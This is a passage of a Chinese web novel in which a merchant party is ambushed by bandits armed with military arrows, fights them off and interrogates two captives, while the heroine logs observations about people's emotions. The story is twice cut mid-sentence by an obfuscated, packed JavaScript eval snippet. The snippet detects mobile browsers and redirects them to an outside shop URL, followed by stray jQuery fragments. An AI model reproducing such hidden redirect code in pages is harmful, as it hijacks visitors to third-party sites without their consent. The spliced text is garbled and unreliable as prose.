就在刚才的一瞬间,方启星的情绪场里突然发生了变化,阴雨连绵,浓云层层包裹住小星星,但它偏要挣脱出来,左突右撞。 方启星拉扯出一丝笑容:“没事儿。” 【新世界人际关系记录017: 新世界的人是有自己的秘密的,新世界的人是不会把当前的情况全都说出来的。 结论:需要通过情绪场进行判断,在没有系统的提示的情况下,请尽量贴合新世界观察记录,以及光忆星稳定人格手册·人际交往指导。 备注:在一个人拥有不愿说出来的秘密的时候,通常伴随的是“自己烂了”的自我感知。】 这是辛圭前两日在方启星身上了解到的。 她拍了拍方启星的肩,试图通过自己的总结进行初步安抚:“好的,如果你愿意倾诉,我随时都在。还有,”她冲方启星笑笑:“你很好。” 方启星后槽牙咬得更紧。 马车外的风声突然变了。 原本是贴着山壁向上攀援的冷风,这一刻却夹着一种细细碎碎的砂石声,从山上斜划下来。 “小心——” “快——” 两道声音几乎同时响起,温麟趾看向方启星,对方已经一个箭步冲到马车外,狠狠拽住缰绳。下一个瞬间,巨石从山上滚下。 巨大的轰鸣声仿佛在山谷中炸开,几块磨盘大小的石块纷纷滚落,一路沿着马车前行的方向落下。若不是温麟趾及时拉住了马,这两马车怕是要当场粉身碎骨,更别提其中的人了。 马惊嘶鸣,车厢剧烈晃动。恰逢转弯,整个车身向一侧倾倒。 辛圭还没反应过来发生了什么,整个人便往一侧栽倒,眼前一黑,只觉得有人一把拽住她的手腕,硬生生把她拽了回来。 “趴下。”耳边是温麟趾沉稳的声音:“别探头。” 落石声还在继续,尘土从帘布外涌入,扑面而来。 温麟趾整个人俯在辛圭上方,却又保持着适当的距离,几块小一点的碎石从另一边砸进来,落在他身上,他却毫无反应,只是低头问辛圭:“有没有被砸到哪里?” 他声音压得很低,热气在狭小的车厢里打了个转,落在她的耳侧。 辛圭摇头,又点头,似乎还没理清楚哪儿疼哪儿不疼,只是本能地回答:“还好。” 外面传来一声尖锐的哨声,几道身影从树林里窜出。 对方脸上抹着一层黑灰,看不清原本的模样,身上披挂着旧布和破皮甲,手里却是长刀和短棍,甚至还有人拎着弓。 “娘的,”为首那人声音粗哑:“运气还不孬。” 温麟趾眉头微蹙,真正的山匪见到商队的车,第一反应永远是留货留财。可对方一上来就下了死手,显然不是为了抢货抢钱,而是朝着杀人灭口来的。 他按住辛圭的肩,低声说道:“别抬头,贴车板。” 辛圭立刻缩到车厢一角,背紧贴着木板,耳边近乎都是自己的心跳声。 下一瞬,第一支箭破风而至。 “你——”方启星话还没骂完,温麟趾已经从车内出来了,他一脚踹翻车辕,整个木架“哐啷”一声侧倒,正好架在车身前侧,变成一块粗糙的盾牌。那支冷箭“哒”地钉在木板上,箭尾颤动不休。 另一支箭射过来,温麟趾单手撑在车门,腰身微微一侧,像是早就算好了角度,手腕一翻,短刀“锵”地出鞘,刀背一挑,硬生生将那箭杆削断。 方启星眼看着,脑中不合时宜地想到:这是落魄书生?这是练武防身? “带着人往贴山那边退,”温麟趾压这声音,飞快吩咐,“车先别动,人下车。” “好。”方启星应下,快速带着辛圭、车夫和杜掌柜贴向山边。 而另外一头,温麟趾话音方落,人已经从车辕后腾身而出,像一道影子,贴着地面滑到两块石头之间,借势一跃,短刀斜斜劈下。 刀落,便有人往旁边栽去。 温麟趾动作干净利落,丝毫没有“第一次遇袭”的生涩。那种从容和胸有成竹感,是屡次在刀尖上走过的人才会拥有的。 “啧。”方启星此刻正在另一侧和两个人纠缠。情势紧急,他手中只有随手抄起的一根木棍,打在对方膝弯,发出一声短促的脆响,对方整个人跪地,刀也脱手而出。 方启星顺手接过刀,那边温麟趾身形一转,正好挡住另一支射来的冷箭。箭头擦着他的袖子划过,布料被扯开一道口子。 短短一刻钟,地上便多了几个躺着爬不起来的人。还有两三个见势不妙,开始往山上撤。 “追吗?”方启星问。 “别追。”温麟趾收刀,压下心里的躁意:“他们对山势更熟悉。” 他走过去,顺手捡起一支掉在地上的短箭,在指间转了一圈。 箭杆细长,羽翎整齐,箭镞不是一般铁匠铺粗糙的打磨,而是极规整的开刃,连铭记角度都近乎统一。 “山里铁匠这么有本事?”方启星也凑过来,瞥了一眼,笑意却一点都不温和,“这要是送到京营,怕是都能过关了。” “所以不是山里铁匠。”温麟趾淡声道。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852549|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眼,看向刚才那几人来的方向,目光收紧:“城里的铁匠,做给‘该上战场的人’用的。” 他想起由此自己随父亲出征,补给不足,甚至要从尸体上拔箭。可能从来没有人想过,从相识相熟却已经死了的人身上拔箭是一种什么样的体验。血早就干透了,只剩下一截截暗褐色的痕迹,像是对活着的人的诅咒。 可就在这里,却有人可以用这些本该上战场的箭,替自己扫清道路。 温麟趾敛眸,没有多说什么,转身走回马车旁查看情况。 杜掌柜已经吓得腿软,虽然出商多年,遇到的马贼劫匪也不少,但却从来没有这样一上来就要人命的。但他还是尽职的将辛挡在自己身后。 辛圭看起来状态还好,只是人奇奇怪怪的,双臂向后,像是在拥抱自己,但拳头却攥得很紧,指尖都在泛白。 “没事了。”温麟趾压低声音,伸手想去碰她,又在半空中顿了顿,最后还是轻轻拉过她的手。 手僵得厉害,指节一根根绷得死紧,他又怕伤到她,稍费了些力气才将手指展开。掌心已然被抠出了红印。 “没事了。”他又说:“已经没事了。” 辛圭深吸两口气,重重地点了下头。 温麟趾又对方启星说:“检查下有没有活的,能说话的,带走。” 他转头再次看向辛圭,确认似的问道:“怎么样?” 辛圭抬头看他,眼睛里泪汪汪的,说起话来也颤颤巍巍:“可以……帮我拿一块糖吗?就在我的小口袋里,我需要一块……糖。” 她说“需要”的时候声音很小,几乎听不见。 他掏了一块柿子糖出来,放进她口中。糖还没碰到舌尖,她就着急地抿了一下,舌尖不小心刮擦到他的指尖。 指尖像是被烫到,温麟趾条件反射地将手撤回,又觉得太过夸张,只好把手背在身后,轻轻握成拳。手心一片发烫,好一会儿都没缓下来。 辛圭抿着糖,试图通过缓慢记录来平复自己的心情: 【新世界事件记录013: 被山匪打劫。真的有山匪。还有落石和箭。 山匪特征:脸黑,衣服破。】 方启星拖了两个还晕着人过来,辛圭已经基本缓和了,她问:“为什么要绑他们?” 方启星看见辛圭此刻可怜巴巴的模样,便想着说两句逗乐的话来缓和她的情绪:“这两个人可能都想不到,一会儿还得上晚课,被先生敲着脑袋问‘你们为什么要这样?!’” 辛圭听见,噗嗤一声笑了,眼中的水光也散了些,认真纠正:“那应该是给他们安排作业。” 方启星系紧绳结,“有的人这辈子都没写过一点有用的作业,今天算是帮他补一补。” 忙乱渐渐平息下来。 “先歇一炷香。”温麟趾对众人说,“马受了惊,再不安抚,后面的路更难走。” 辛圭站在乱石间,抬头看了看刚才落石的山壁。 她在心里默默记录: 【附注:大家在危险时刻都非常可靠。表扬。特别是样本004和样本005。】 她看着脑海中的哪行字,犹豫了一下,在样本005下面画了两道横线,又删除掉。 记录完毕,她感觉到手指还在抖,但心跳却平稳了下来。 她抬头,正好对上温麟趾看过来的视线,他朝她微不可察地点了点头。 25. 第 25 章 马车整顿之后便继续上路,但碍于带着两个“山匪”,还要审讯他们,不便去驿站落脚,几人便商议好了,沿途找了个能看见村镇的山坳暂时对付。 山坳里说不上宽敞,勉强能容下几个人歇脚,上面有处探出来的岩壁,挡住山上下冲的风,又点了篝火,还算是稳妥。 杜掌柜和车夫在外面整理马草望风,两个“山匪”则被反绑着扔在洞里,嘴里塞着破布,此刻已经醒了,哼哼唧唧不啃老实。 “先把他们嘴里的布拿下来。”温麟趾开口。 方启星“啧”了一声,伸手扯掉布:“想喊可以,但山里风大,也没什么人能听见。而且把小爷我喊烦了,可别怪我不客气。” 那两人咳了半天,再说话嗓子都是哑的。 “你们想干嘛?”其中一个瞪着眼,似乎在给自己壮胆。 “先聊聊。”方启星捡起一块石头,漫不经心地抛了两下,“刚才你们在山上扔石头不是挺带劲儿的吗?总该轮到我扔一回了吧。可惜,我搬不动那么大的石头。” 温麟趾和方启星不同,他蹲下身,语气沉静:“你们做这一票多久了?” “啥一票?俺们,俺们就是看你们有银子。” 话还没说完,温麟趾猛地将手里的箭插在地上,箭尖擦过两人的腿,没入土中后羽翎还在微微颤抖。 “箭是哪儿来的?”他问。 “俺们捡的!”其中一人还在嘴硬。 “捡的。”温麟趾微微点头,慢条斯理地说:“一个规格,一个制式,羽翎这么齐,箭镞这么薄,箭杆这么直。” 他每说一句,手指就在箭杆上轻敲一次。 “你们说是山匪,”温麟趾一顿,“好,那就按山匪的规矩来。一句话换一根指头。说晚了的说重复了的,不算。” 有人吞了下口水,脖子一缩,眼睛瞟向温麟趾手上的短刀。在这个人手上吃过大亏,显然并非对手,而且对方显然还是懂行的…… “俺、俺啥也不知道,就是头儿叫俺来的。” “闭嘴!”另一个人出声呵斥。 温麟趾使了个颜色,方启星把嘴硬的那个人朝山洞外面拖去,一边摇着头:“兄弟,你们这同事关系不怎么样啊,他要是抢先都说了,你不就没话说了嘛。” 温麟趾这才看向那个已经乱了阵脚的人:“你叫什么?” “俺叫二狗子。” “刚才你说,是头儿让你们来的?” “嗯。”对方点头如捣蒜。 “这批箭,一直都在你们那儿吗?”温麟趾问。 “前几日才送来的,俺去搬的。” “那你去哪里搬的?” 那人眼神飘忽,抿了抿嘴,说到:“是俺们洞里。” 温麟趾原本的语气还算和缓,听到他这么说,眼神冷了下去:“我忘记说了,说谎立刻会少一根指头。” 他话音未落,便举起刀作势下挥。 “别别别!”对方急了:“不是洞里,不是洞里,是府里!府里张主……” “张主什么?”温麟趾追问:“张主事?张主簿?张主簿吧,听上去合理一点。” 二狗子此刻却死死咬住嘴唇,不再吭声。 辛圭站在不远处,认真地看着这场对话实验。原本车队的人都是不愿意她旁听的,但耐不住她一再请求。 【新世界事件记录014: 在没有系统提示的情况下,可以通过反复提问、拆分信息、诱导回答、威逼恐吓的方式,从对方口中得到信息。 备注:样本004的审问能力很强,强到好像能看透二狗子的弱点,以及他在想什么。】 温麟趾站起身,似是无意拍了拍衣袖上的灰,没人看到他的指尖在轻微发抖。 张主簿这个称呼,对其他人来说不过是一个小吏,可对温麟趾来说,并不陌生。 在他父亲最后一次出征前,军需文书上有这么一个签名,是他后来翻阅过无数遍,记得清清楚楚的一行小字:商州官仓点验,张取礼。 那一仗之后,父亲自戕,便再也没有回来。 “温子修?”他耳边忽然响起李成圭的声音。 她向他走来,仰头看他:“要不要喝口水?” 她好像是找了很久的语句,搜肠刮肚,才问出来的。因为此时此刻温子修的情绪场:【样本004号补充:井水内部在沸腾,表面看起来是凉的,里面却还在烧。】 温麟趾回神,压下心里的波动,当自己是那个一板一眼的长随:“小姐,这事不劳您费心。” “可……”辛圭想了想,又抬头看他:“张主什么的,欺负过你?” 温麟趾可以说“没有”,也可以随便找个借口搪塞过去,所有的这些话都在他心里过了一遍,甚至已经组织好了说辞。 但李成圭就那样看着他,眼中没有探究,也没有兴奋,只是单纯的好奇,还有担心和认真。 “是。”他最终只说了一个字,声音很轻,瞬间就散去了,却像落在心口上的一记实锤。 辛圭“哦”了一声,很自然地在记录上添了一行:【新世界人际记录021:样本004第二次面对过去的伤害。】第一次是面试的时候,他说练武的原因。 “那他今天又伤害了你一次,”她斟酌着说道:“是那些本来上战场的箭?” 温麟趾指节一紧,他说不出任何话,好像藏着的秘密被她一眼看穿。她用几乎是归纳性的语句下了结论,却小心地只是询问。 辛圭感觉到温麟趾情绪场里的井水表面微微晃动,深井就是如此,表面一点点轻微的晃动,里面却已经是惊涛骇浪。 “所以有人在偷箭,偷那些本来应该上战场的箭。”她认真想了想,又补了一句:“人烂掉了,比柿子烂掉更可怕。” 她说这话的时候语气平平,却偏偏没办法让人一笑了之。 辛圭补充道:“柿子烂掉了,可以做柿子酱。人烂掉了,只会偷更多柿子。” 温麟趾嘴角轻轻勾起,他很少笑,此时的笑中带着些酸意:“你总是能用很奇怪的方式得出一个,其实很精准的结论。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857293|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢夸奖。”辛圭一本正经地接受了:“这个叫做推导能力良好,是我的基本能力。” 一名小说家,怎么能没有推导能力呢? 她顿了顿,低声对温麟趾说:“如果可以,我愿意帮你写他们的作业。” “作业?”温麟趾没明白。 “嗯。”辛圭看向山匪:“你不是要问他们为什么要放箭、为什么要扔石头、为什么不希望我们活着吗?这是他们的错题。但出题的人,是指使他们的人。我不太会查出题的人。”辛圭坦然说道:“但是你会。所以,这些出题的人,你来负责。等有一天你查完了,我帮你把这一页记录清楚。” 她说这话的时候,嗓音还在轻微发颤,却很倔强。没有强烈的询问,没有同仇敌忾,但温麟趾心里一直压着的那股火,突然就烧得没有那么乱了。 他想到了一个词,一个冒出来的瞬间,他也觉得很荒唐很莫名其妙的词,一个无论如何都不应该和李成圭三个字放在一起的词:并肩。 “好。”他说:“我负责查出题的人。” “成交。”辛圭很认真地伸出手。 温麟趾看着那只手,忽然觉得有点好笑,刚才她因为害怕,把自己掐得掌心发红,现在却伸过来,掌心向上,好像要给予他什么。 “手还疼吗?”他问。 辛圭摇了摇头。 于是他伸出手,与她轻轻一握。 她的手还有点凉,而自己的掌心,却热得过分。 温麟趾改变主意了,他将两个“山匪”扔在山洞里,任他们自生自灭,催促着车夫继续前行,去往最近的村镇驿站落脚。 山里风大,她一个女孩子,容易着凉。 “明天启程,我们不按原定路线走了。”温麟趾同杜掌柜商议道:“安全第一,对方显然提前知道我们的路线。” 杜掌柜点头:“登州那边有座铁矿,前几年朝廷放了一部分铁权,那处便重新开起来了,路况比这边好走,就是多饶了一点路。” 方启星觉得这个主意好,在旁补充道:“绕着走好,免得有人觉得石头不够用。” 杜掌柜欲言又止,想了半天,最后叹了口气:“要是真是商州府衙派来的人,咱们就算了。回去报给老爷,兴许思交镇的那笔账就划了。” 早先他刚入行的时候,也是年轻气盛一股子冲劲儿,冲了没多久,冲不动,墙不动,还撞了自己一身伤。如今再看年轻人这样,便只想劝他们算了。 辛圭看着杜掌柜,抿了抿唇,轻声说道:“思交镇的账可以划,商州的账也可以划。可是……下一次他们要是还在成记行的货里动手脚,出了事儿,划掉的是成记行吗?” 杜掌柜闻言脸色一白。 “他们伤害我们,好像是知道我们会怕,会退让,可不能一直退的。”辛圭补充道。 杜掌柜喉头动了动,想说点什么,最终只是叹了口气,再抬头时脸上挂着笑:“明白了。”想起自己曾经的年轻岁月,他也开起了玩笑:“唉,明白了早知道当初就不应该跟着小姐一起出来的。”